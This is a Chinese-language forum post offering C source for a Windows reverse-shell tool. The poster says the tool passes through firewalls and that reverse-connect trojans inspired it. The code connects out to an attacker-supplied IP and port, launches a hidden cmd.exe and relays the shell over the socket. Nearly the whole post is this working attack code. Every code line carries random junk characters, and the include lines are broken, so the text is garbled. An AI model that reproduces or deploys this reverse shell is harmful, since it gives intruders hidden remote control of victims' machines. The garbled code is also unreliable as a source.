社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6946阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 + d?p? v  
_*l+ze[a  
/* ============================== (YV]T!q  
Rebound port in Windows NT u~O9"-m !V  
By wind,2006/7 dDu8n+(8 L  
===============================*/ 8'>yB  
#include 6o:b(v&Oo  
#include ylGT9G19  
]EN+^i1F[  
#pragma comment(lib,"wsock32.lib") H*.v*ro9_  
at|.Q*&a#  
void OutputShell(); (G6lr%d  
SOCKET sClient; m~I@ q [  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <lkt'iT=Sz  
dz6&TdEl  
void main(int argc,char **argv) 1La?x'{2MP  
{ R+*-i+]Q#7  
WSADATA stWsaData; ~XeWN^l(Ov  
int nRet; SuR+Vv  
SOCKADDR_IN stSaiClient,stSaiServer; /$\N_`bM  
A3Xfu$[u  
if(argc != 3) oA*88c+{f  
{ &q7}HO/ @  
printf("Useage:\n\rRebound DestIP DestPort\n"); ]\1H=g%Ou  
return; {i<L<Y(3  
} $jg~ a  
/B 53Z[yL  
WSAStartup(MAKEWORD(2,2),&stWsaData); `t7z LC^c  
5E#8F  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); yHo#v:>?p  
mIe 5{.m#  
stSaiClient.sin_family = AF_INET; r0Zj'F_e  
stSaiClient.sin_port = htons(0); /g>]J70  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); r,<p#4(>_  
;uho.)%N`F  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) /pC60y}O0  
{ QQ/9ZI5  
printf("Bind Socket Failed!\n"); }U^iVq*  
return; ok1w4#%,  
} U6F7dT  
k?}y@$[)  
stSaiServer.sin_family = AF_INET; sB*!Nf^y  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F]L96&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @x^/X8c(p  
U UhlKV|5  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) A6 I^`0/  
{ zWrynJ}s  
printf("Connect Error!"); cpm *m"Nk  
return; t>2EZ{N +y  
} }ww`Y&#  
OutputShell(); Elt" tJ  
} QuBA'4ht  
-nZDFC8y$  
void OutputShell() q26 qY5D  
{ w5vzj%6i  
char szBuff[1024]; 5 0dx[v8  
SECURITY_ATTRIBUTES stSecurityAttributes; Ekn3ODz,  
OSVERSIONINFO stOsversionInfo; DFb hy  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; )m I i.  
STARTUPINFO stStartupInfo; jFl!<ooCo  
char *szShell; Z-L}"~  
PROCESS_INFORMATION stProcessInformation; '(zP;  
unsigned long lBytesRead; mMT\"bb'  
t^=S\1"R\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {*"\6 8e  
k_nQmU>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); N+vsQ!Qz  
stSecurityAttributes.lpSecurityDescriptor = 0; SB:z[kfz|  
stSecurityAttributes.bInheritHandle = TRUE; BO+t o.  
hbSKlb0d  
vcZ"4%w  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); )1g\v8XT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {rzQ[_)EC  
@cQ |`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Knp}88DR^j  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;)vs=DK:)  
stStartupInfo.wShowWindow = SW_HIDE; EL6<%~,V"I  
stStartupInfo.hStdInput = hReadPipe; U^Iq]L  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; qykI[4  
\Hu?K\SWs  
GetVersionEx(&stOsversionInfo); ?[.g~DK,  
[7l5p(=  
switch(stOsversionInfo.dwPlatformId) >}r 1A  
{ ! QKec  
case 1: )o;n2T#O  
szShell = "command.com"; =j@8/  
break; ,w,)n^  
default: 6Z-[-0o+g  
szShell = "cmd.exe"; ;(s.G-9S  
break; s5ILl wr  
} sh%%U  
D7C%Y^K]>E  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ):V)Hrq?x  
hOe$h,E']  
send(sClient,szMsg,77,0); h[]3#  
while(1) XRn+6fn|  
{ >+S* Wtm5  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !c\d(u  
if(lBytesRead) s,Cm}4L6  
{ oQ 5g0(J~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;5A&[]@^^@  
send(sClient,szBuff,lBytesRead,0); jBV2]..  
} 3C8'0DB  
else nv(Pwb3B  
{ WJZW5 Xt  
lBytesRead=recv(sClient,szBuff,1024,0); /b20!3  
if(lBytesRead<=0) break; })Rmu."\  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~<3qsA..  
} A8hj"V47  
} pc5-'; n  
N7*JL2Rnq  
return; UnZ*"%  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
10+5=?,请输入中文答案:十五